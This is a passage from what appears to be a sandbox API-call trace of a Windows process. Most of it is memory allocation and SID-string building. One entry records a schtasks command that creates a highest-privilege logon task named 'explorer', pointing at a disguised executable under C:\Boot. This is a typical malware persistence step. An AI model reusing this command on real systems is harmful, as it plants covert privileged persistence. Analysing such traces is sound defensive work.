_Dst=0x196ee7bbb58, _Src=0x196ee7ba838, _Size=0x56 | out: _Dst=0x196ee7bbb58) returned 0x196ee7bbb58 [0117.583] memcpy (in: _Dst=0x196ee7bbbac, _Src=0x196ee7aaa48, _Size=0xa | out: _Dst=0x196ee7bbbac) returned 0x196ee7bbbac [0117.583] free (_Block=0x196ef0d19e0) [0117.583] free (_Block=0x196ef0d1e20) [0117.583] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-1000") returned 0x2e [0117.583] malloc (_Size=0x5e) returned 0x196ef0d0610 [0117.584] free (_Block=0x196ef0d1fc0) [0117.584] malloc (_Size=0x18) returned 0x196ef0d1e00 [0117.584] free (_Block=0x196ef0d0610) [0117.584] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d0ca0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8 | out: Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8) returned 0 [0117.586] GetLastError () returned 0x7a [0117.586] malloc (_Size=0x1a) returned 0x196ef0f9af0 [0117.586] malloc (_Size=0xe) returned 0x196ef0d1f60 [0117.586] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d0ca0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x196ef0f9af0, cchName=0x67117c600, ReferencedDomainName=0x196ef0d1f60, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8 | out: Name="RDhJ0CNFevzX", cchName=0x67117c600, ReferencedDomainName="XC64ZB", cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8) returned 1 [0117.587] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0117.587] malloc (_Size=0x18) returned 0x196ef0d1e60 [0117.587] free (_Block=0x196ef0f9af0) [0117.588] free (_Block=0x196ef0d1f60) [0117.588] free (_Block=0x196ef0f9be0) [0117.588] free (_Block=0x196ef0d1e60) [0117.588] free (_Block=0x196ef0d1ba0) [0117.588] free (_Block=0x196ef0d1e00) [0117.588] free (_Block=0x196ef0d0c90) [0117.589] GetVersionExW (in: lpVersionInformation=0x67117c8d0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0xee7b29f8, dwBuildNumber=0x196, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x67117c8d0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0117.589] GetTokenInformation (in: TokenHandle=0x270, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x67117c740 | out: TokenInformation=0x0, ReturnLength=0x67117c740) returned 0 [0117.589] GetLastError () returned 0x7a [0117.589] malloc (_Size=0x2c) returned 0x196ef0d0e10 [0117.589] GetTokenInformation (in: TokenHandle=0x270, TokenInformationClass=0x1, TokenInformation=0x196ef0d0e10, TokenInformationLength=0x2c, ReturnLength=0x67117c740 | out: TokenInformation=0x196ef0d0e10, ReturnLength=0x67117c740) returned 1 [0117.589] IsValidSid (pSid=0x196ef0d0e20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0117.589] GetLengthSid (pSid=0x196ef0d0e20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x1c [0117.589] malloc (_Size=0x1c) returned 0x196ef0f9d90 [0117.589] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x196ef0f9d90, pSourceSid=0x196ef0d0e20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)) | out: pDestinationSid=0x196ef0f9d90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0117.589] GetSidIdentifierAuthority (pSid=0x196ef0d0e20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d0e22 [0117.589] malloc (_Size=0x18) returned 0x196ef0d1ec0 [0117.589] _ultow (in: _Dest=0x5, _Radix=1897383216 | out: _Dest=0x5) returned="5" [0117.589] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0117.589] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0117.589] SysStringLen (param_1="S-1-") returned 0x4 [0117.589] SysStringLen (param_1="5") returned 0x1 [0117.590] memcpy (in: _Dst=0x196ee7aa988, _Src=0x196ee7aaa48, _Size=0xa | out: _Dst=0x196ee7aa988) returned 0x196ee7aa988 [0117.590] memcpy (in: _Dst=0x196ee7aa990, _Src=0x196ee7aa838, _Size=0x4 | out: _Dst=0x196ee7aa990) returned 0x196ee7aa990 [0117.590] free (_Block=0x196ef0d1ec0) [0117.590] free (_Block=0x196ef0d1ba0) [0117.590] GetSidSubAuthorityCount (pSid=0x196ef0d0e20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d0e21 [0117.590] GetSidSubAuthority (pSid=0x196ef0d0e20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x0) returned 0x196ef0d0e28 [0117.590] _ultow (in: _Dest=0x15, _Radix=1897383216 | out: _Dest=0x15) returned="21" [0117.590] malloc (_Size=0x18) returned 0x196ef0d1be0 [0117.590] malloc (_Size=0x18) returned 0x196ef0d1d80 [0117.590] SysStringLen (param_1="S-1-5") returned 0x5 [0117.590] SysStringLen (param_1="-") returned 0x1 [0117.590] memcpy (in: _Dst=0x196ee7aa838, _Src=0x196ee7aa988, _Size=0xc | out: _Dst=0x196ee7aa838) returned 0x196ee7aa838 [0117.590] memcpy (in: _Dst=0x196ee7aa842, _Src=0x196ee7aaa48, _Size=0x4 | out: _Dst=0x196ee7aa842) returned 0x196ee7aa842 [0117.590] free (_Block=0x196ef0d1ac0) [0117.590] free (_Block=0x196ef0d1be0) [0117.590] malloc (_Size=0x18) returned 0x196ef0d1f40 [0117.590] malloc (_Size=0x18) returned 0x196ef0d1d60 [0117.590] SysStringLen (param_1="S-1-5-") returned 0x6 [0117.591] SysStringLen (param_1="21") returned 0x2 [0117.591] memcpy (in: _Dst=0x196ee7aaa48, _Src=0x196ee7aa838, _Size=0xe | out: _Dst=0x196ee7aaa48) returned 0x196ee7aaa48 [0117.591] memcpy (in: _Dst=0x196ee7aaa54, _Src=0x196ee7aa988, _Size=0x6 | out: _Dst=0x196ee7aaa54) returned 0x196ee7aaa54 [0117.591] free (_Block=0x196ef0d1d80) [0117.591] free (_Block=0x196ef0d1f40) [0117.591] GetSidSubAuthority (pSid=0x196ef0d0e20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x1) returned 0x196ef0d0e2c [0117.591] _ultow (in: _Dest=0x5cffa865, _Radix=1897383216 | out: _Dest=0x5cffa865) returned="1560258661" [0117.591] malloc (_Size=0x18) returned 0x196ef0d2040 [0117.591] malloc (_Size=0x18) returned 0x196ef0d1ae0 [0117.592] SysStringLen (param_1="S-1-5-21") returned 0x8 [0117.592] SysStringLen (param_1="-") returned 0x1 [0117.592] memcpy (in: _Dst=0x196ee7aa988, _Src=0x196ee7aaa48, _Size=0x12 | out: _Dst=0x196ee7aa988) returned 0x196ee7aa988 [0117.592] memcpy (in: _Dst=0x196ee7aa998, _Src=0x196ee7aa838, _Size=0x4 | out: _Dst=0x196ee7aa998) returned 0x196ee7aa998 [0117.592] free (_Block=0x196ef0d1d60) [0117.592] free (_Block=0x196ef0d2040) [0117.592] malloc (_Size=0x18) returned 0x196ef0d2020 [0117.592] malloc (_Size=0x18) returned 0x196ef0d1d60 [0117.592] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0117.592] SysStringLen (param_1="1560258661") returned 0xa [0117.592] memcpy (in: _Dst=0x196ee777f28, _Src=0x196ee7aa988, _Size=0x14 | out: _Dst=0x196ee777f28) returned 0x196ee777f28 [0117.592] memcpy (in: _Dst=0x196ee777f3a, _Src=0x196ee7aaa48, _Size=0x16 | out: _Dst=0x196ee777f3a) returned 0x196ee777f3a [0117.592] free (_Block=0x196ef0d1ae0) [0117.592] free (_Block=0x196ef0d2020) [0117.592] GetSidSubAuthority (pSid=0x196ef0d0e20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x2) returned 0x196ef0d0e30 [0117.592] _ultow (in: _Dest=0xeddecfcf, _Radix=1897383216 | out: _Dest=0xeddecfcf) returned="3990802383" [0117.592] malloc (_Size=0x18) returned 0x196ef0d2080 [0117.593] malloc (_Size=0x18) returned 0x196ef0d1ce0 [0117.593] SysStringLen (param_1="S-1-5-21-1560258661") returned 0x13 [0117.593] SysStringLen (param_1="-") returned 0x1 [0117.593] memcpy (in: _Dst=0x196ee7772a8, _Src=0x196ee777f28, _Size=0x28 | out: _Dst=0x196ee7772a8) returned 0x196ee7772a8 [0117.593] memcpy (in: _Dst=0x196ee7772ce, _Src=0x196ee7aa988, _Size=0x4 | out: _Dst=0x196ee7772ce) returned 0x196ee7772ce [0117.593] free (_Block=0x196ef0d1d60) [0117.593] free (_Block=0x196ef0d2080) [0117.593] malloc (_Size=0x18) returned 0x196ef0d1b00 [0117.593] malloc (_Size=0x18) returned 0x196ef0d1e00 [0117.593] SysStringLen (param_1="S-1-5-21-1560258661-") returned 0x14 [0117.593] SysStringLen (param_1="3990802383") returned 0xa [0117.593] memcpy (in: _Dst=0x196ee7ba838, _Src=0x196ee7772a8, _Size=0x2a | out: _Dst=0x196ee7ba838) returned 0x196ee7ba838 [0117.593] memcpy (in: _Dst=0x196ee7ba860, _Src=0x196ee7aa988, _Size=0x16 | out: _Dst=0x196ee7ba860) returned 0x196ee7ba860 [0117.593] free (_Block=0x196ef0d1ce0) [0117.593] free (_Block=0x196ef0d1b00) [0117.593] GetSidSubAuthority (pSid=0x196ef0d0e20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x3) returned 0x196ef0d0e34 [0117.593] _ultow (in: _Dest=0x6bfcce57, _Radix=1897383216 | out: _Dest=0x6bfcce57) returned="1811730007" [0117.594] malloc (_Size=0x18) returned 0x196ef0d1b40 [0117.594] malloc (_Size=0x18) returned 0x196ef0d1ca0 [0117.594] SysStringLen (param_1="S-1-5-21-1560258661-3990802383") returned 0x1e [0117.594] SysStringLen (param_1="-") returned 0x1 [0117.594] memcpy (in: _Dst=0x196ee7bbb58, _Src=0x196ee7ba838, _Size=0x3e | out: _Dst=0x196ee7bbb58) returned 0x196ee7bbb58 [0117.594] memcpy (in: _Dst=0x196ee7bbb94, _Src=0x196ee7aa988, _Size=0x4 | out: _Dst=0x196ee7bbb94) returned 0x196ee7bbb94 [0117.594] free (_Block=0x196ef0d1e00) [0117.594] free (_Block=0x196ef0d1b40) [0117.594] malloc (_Size=0x18) returned 0x196ef0d1a60 [0117.594] malloc (_Size=0x18) returned 0x196ef0d1be0 [0117.594] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-") returned 0x1f [0117.594] SysStringLen (param_1="1811730007") returned 0xa [0117.594] memcpy (in: _Dst=0x196ee7ba838, _Src=0x196ee7bbb58, _Size=0x40 | out: _Dst=0x196ee7ba838) returned 0x196ee7ba838 [0117.594] memcpy (in: _Dst=0x196ee7ba876, _Src=0x196ee7aa988, _Size=0x16 | out: _Dst=0x196ee7ba876) returned 0x196ee7ba876 [0117.594] free (_Block=0x196ef0d1ca0) [0117.594] free (_Block=0x196ef0d1a60) [0117.594] GetSidSubAuthority (pSid=0x196ef0d0e20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x4) returned 0x196ef0d0e38 [0117.595] _ultow (in: _Dest=0x3e8, _Radix=1897383216 | out: _Dest=0x3e8) returned="1000" [0117.595] malloc (_Size=0x18) returned 0x196ef0d1f40 [0117.595] malloc (_Size=0x18) returned 0x196ef0d20c0 [0117.595] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007") returned 0x29 [0117.595] SysStringLen (param_1="-") returned 0x1 [0117.595] memcpy (in: _Dst=0x196ee7bbb58, _Src=0x196ee7ba838, _Size=0x54 | out: _Dst=0x196ee7bbb58) returned 0x196ee7bbb58 [0117.595] memcpy (in: _Dst=0x196ee7bbbaa, _Src=0x196ee7aa988, _Size=0x4 | out: _Dst=0x196ee7bbbaa) returned 0x196ee7bbbaa [0117.595] free (_Block=0x196ef0d1be0) [0117.595] free (_Block=0x196ef0d1f40) [0117.595] malloc (_Size=0x18) returned 0x196ef0d2080 [0117.595] malloc (_Size=0x18) returned 0x196ef0d2020 [0117.595] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-") returned 0x2a [0117.595] SysStringLen (param_1="1000") returned 0x4 [0117.595] memcpy (in: _Dst=0x196ee7ba838, _Src=0x196ee7bbb58, _Size=0x56 | out: _Dst=0x196ee7ba838) returned 0x196ee7ba838 [0117.595] memcpy (in: _Dst=0x196ee7ba88c, _Src=0x196ee7aa988, _Size=0xa | out: _Dst=0x196ee7ba88c) returned 0x196ee7ba88c [0117.595] free (_Block=0x196ef0d20c0) [0117.595] free (_Block=0x196ef0d2080) [0117.596] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-1000") returned 0x2e [0117.596] malloc (_Size=0x5e) returned 0x196ef0d0370 [0117.596] free (_Block=0x196ef0d2020) [0117.596] malloc (_Size=0x18) returned 0x196ef0d1c00 [0117.596] free (_Block=0x196ef0d0370) [0117.596] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d0e20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0 | out: Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0) returned 0 [0117.598] GetLastError () returned 0x7a [0117.598] malloc (_Size=0x1a) returned 0x196ef0fa0c0 [0117.598] malloc (_Size=0xe) returned 0x196ef0d1f60 [0117.598] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d0e20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x196ef0fa0c0, cchName=0x67117c600, ReferencedDomainName=0x196ef0d1f60, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0 | out: Name="RDhJ0CNFevzX", cchName=0x67117c600, ReferencedDomainName="XC64ZB", cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0) returned 1 [0117.599] malloc (_Size=0x18) returned 0x196ef0d1d20 [0117.599] malloc (_Size=0x18) returned 0x196ef0d1a20 [0117.599] free (_Block=0x196ef0fa0c0) [0117.599] free (_Block=0x196ef0d1f60) [0117.600] free (_Block=0x196ef0f9d90) [0117.600] free (_Block=0x196ef0d1a20) [0117.600] free (_Block=0x196ef0d1d20) [0117.600] free (_Block=0x196ef0d1c00) [0117.600] free (_Block=0x196ef0d0e10) [0117.601] SetEvent (hEvent=0x248) returned 1 [0117.601] free (_Block=0x196ef0d62c0) [0117.601] CreateEnvironmentBlock () returned 0x1 [0117.607] malloc (_Size=0x18) returned 0x196ef0d1c80 [0117.608] CreateProcessAsUserW (in: hToken=0x26c, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"explorer\" /sc ONLOGON /tr \"'C:\\Boot\\zh-TW\\explorer.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x196ef1f3020, lpCurrentDirectory=0x0, lpStartupInfo=0x67117c860*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x67117c708 | out: lpCommandLine="schtasks.exe /create /tn \"explorer\" /sc ONLOGON /tr \"'C:\\Boot\\zh-TW\\explorer.exe'\" /rl HIGHEST /f", lpProcessInformation=0x67117c708*(hProcess=0x260, hThread=0x264, dwProcessId=0x12ec, dwThreadId=0x12dc)) returned 1 [0117.618] CloseHandle (hObject=0x260) returned 1 [0117.618] CloseHandle (hObject=0x264) returned 1 [0117.619] free (_Block=0x196ef0d1c80) [0117.619] DestroyEnvironmentBlock () returned 0x1 [0117.619] malloc (_Size=0x48) returned 0x196ef0d5640 [0117.619] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117c6e0 | out: lpSystemTimeAsFileTime=0x67117c6e0*(dwLowDateTime=0x26f51e44, dwHighDateTime=0x1d9eb0c)) [0117.619] SetEvent (hEvent=0x248) returned 1 [0117.620] CloseHandle (hObject=0x270) returned 1 [0117.620] CloseHandle (hObject=0x26c) returned 1 [0117.709] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x4) returned 0x196ee788350 [0117.709] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ee788350, pulNumLanguages=0x67117dfe0 | out: pulNumLanguages=0x67117dfe0) returned 1 [0117.709] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788350) returned 1 [0117.709] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788330) returned 1 [0118.190] RtlRestoreLastWin32Error () returned 0x670dbf000 [0118.190] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x67117de10 | out: pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x67117de10) returned 1 [0118.190] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ee788330 [0118.190] RtlRestoreLastWin32Error () returned 0x670dbf000 [0118.190] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x196ee788330, pcchLanguagesBuffer=0x67117de10 | out: pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x196ee788330, pcchLanguagesBuffer=0x67117de10) returned 1 [0118.190] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ee788350 [0118.190] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788330) returned 1 [0118.190] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x14) returned 0x196ee7a7d80 [0118.190] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ee7a7d80, pulNumLanguages=0x67117df18 | out: pulNumLanguages=0x67117df18) returned 1 [0118.190] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7a7d80) returned 1 [0118.193] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0118.194] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0118.194] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0118.194] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0118.194] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0118.197] GetCurrentThread () returned 0xfffffffffffffffe [0118.197] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0x67117c7a0 | out: TokenHandle=0x67117c7a0*=0x26c) returned 1 [0118.197] DuplicateTokenEx (in: hExistingToken=0x26c, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x19600000001, phNewToken=0x67117c7b8 | out: phNewToken=0x67117c7b8*=0x270) returned 1 [0118.197] GetTokenInformation (in: TokenHandle=0x26c, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x67117c740 | out: TokenInformation=0x0, ReturnLength=0x67117c740) returned 0 [0118.197] GetLastError () returned 0x7a [0118.197] malloc (_Size=0x2c) returned 0x196ef0d0c10 [0118.197] GetTokenInformation (in: TokenHandle=0x26c, TokenInformationClass=0x1, TokenInformation=0x196ef0d0c10, TokenInformationLength=0x2c, ReturnLength=0x67117c740 | out: TokenInformation=0x196ef0d0c10, ReturnLength=0x67117c740) returned 1 [0118.197] IsValidSid (pSid=0x196ef0d0c20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0118.197] GetLengthSid (pSid=0x196ef0d0c20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x1c [0118.197] malloc (_Size=0x1c) returned 0x196ef0f9df0 [0118.197] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x196ef0f9df0, pSourceSid=0x196ef0d0c20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)) | out: pDestinationSid=0x196ef0f9df0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0118.197] GetSidIdentifierAuthority (pSid=0x196ef0d0c20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d0c22 [0118.197] malloc (_Size=0x18) returned 0x196ef0d1b40 [0118.197] _ultow (in: _Dest=0x5, _Radix=1897383216 | out: _Dest=0x5) returned="5" [0118.197] malloc (_Size=0x18) returned 0x196ef0d1c00 [0118.197] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0118.197] SysStringLen (param_1="S-1-") returned 0x4 [0118.197] SysStringLen (param_1="5") returned 0x1 [0118.197] memcpy (in: _Dst=0x196ee7c7558, _Src=0x196ee7aaaa8, _Size=0xa | out: _Dst=0x196ee7c7558) returned 0x196ee7c7558 [0118.197] memcpy (in: _Dst=0x196ee7c7560, _Src=0x196ee7aa9b8, _Size=0x4 | out: _Dst=0x196ee7c7560) returned 0x196ee7c7560 [0118.198] free (_Block=0x196ef0d1b40) [0118.198] free (_Block=0x196ef0d1c00) [0118.198] GetSidSubAuthorityCount (pSid=0x196ef0d0c20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d0c21 [0118.198] GetSidSubAuthority (pSid=0x196ef0d0c20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x0) returned 0x196ef0d0c28 [0118.198] _ultow (in: _Dest=0x15, _Radix=1897383216 | out: _Dest=0x15) returned="21" [0118.198] malloc (_Size=0x18) returned 0x196ef0d1de0 [0118.198] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0118.198] SysStringLen (param_1="S-1-5") returned 0x5 [0118.198] SysStringLen (param_1="-") returned 0x1 [0118.198] memcpy (in: _Dst=0x196ee7aa9b8, _Src=0x196ee7c7558, _Size=0xc | out: _Dst=0x196ee7aa9b8) returned 0x196ee7aa9b8 [0118.198] memcpy (in: _Dst=0x196ee7aa9c2, _Src=0x196ee7aaaa8, _Size=0x4 | out: _Dst=0x196ee7aa9c2) returned 0x196ee7aa9c2 [0118.198] free (_Block=0x196ef0d1fa0) [0118.198] free (_Block=0x196ef0d1de0) [0118.198] malloc (_Size=0x18) returned 0x196ef0d1f40 [0118.198] malloc (_Size=0x18) returned 0x196ef0d1d40 [0118.198] SysStringLen (param_1="S-1-5-") returned 0x6 [0118.198] SysStringLen (param_1="21") returned 0x2 [0118.198] memcpy (in: _Dst=0x196ee7aaaa8, _Src=0x196ee7aa9b8, _Size=0xe | out: _Dst=0x196ee7aaaa8) returned 0x196ee7aaaa8 [0118.198] memcpy (in: _Dst=0x196ee7aaab4, _Src=0x196ee7c7558, _Size=0x6 | out: _Dst=0x196ee7aaab4) returned 0x196ee7aaab4 [0118.198] free (_Block=0x196ef0d1ba0) [0118.198] free (_Block=0x196ef0d1f40) [0118.199] GetSidSubAuthority (pSid=0x196ef0d0c20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x1) returned 0x196ef0d0c2c [0118.199] _ultow (in: _Dest=0x5cffa865, _Radix=1897383216 | out: _Dest=0x5cffa865) returned="1560258661" [0118.199] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0118.199] malloc (_Size=0x18) returned 0x196ef0d1a80 [0118.199] SysStringLen (param_1="S-1-5-21") returned 0x8 [0118.199] SysStringLen (param_1="-") returned 0x1 [0118.199] memcpy (in: _Dst=0x196ee7c7558, _Src=0x196ee7aaaa8, _Size=0x12 | out: _Dst=0x196ee7c7558) returned 0x196ee7c7558 [0118.199] memcpy (in: _Dst=0x196ee7c7568, _Src=0x196ee7aa9b8, _Size=0x4 | out: _Dst=0x196ee7c7568) returned 0x196ee7c7568 [0118.199] free (_Block=0x196ef0d1d40) [0118.199] free (_Block=0x196ef0d1ac0) [0118.199] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0118.199] malloc (_Size=0x18) returned 0x196ef0d1c40 [0118.199] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0118.199] SysStringLen (param_1="1560258661") returned 0xa [0118.199] memcpy (in: _Dst=0x196ee777c08, 